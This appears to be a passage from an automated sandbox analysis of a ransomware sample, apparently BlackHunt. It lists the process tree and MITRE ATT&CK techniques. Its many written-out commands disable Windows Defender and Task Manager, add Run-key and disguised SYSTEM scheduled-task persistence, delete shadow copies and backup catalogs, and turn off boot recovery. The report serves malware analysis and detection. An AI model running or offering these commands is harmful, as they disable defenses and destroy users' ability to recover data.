  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:68
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe" /F
  2⤵
  PID:2072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bdc3346a9bc704d36c83e056a331ec994a2182fe9ed2cb843ed2f0ef6102198c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3272
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3804
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5104
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1796
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1416
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4956
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:68
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3232
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2080
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1020

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5816

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6344

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery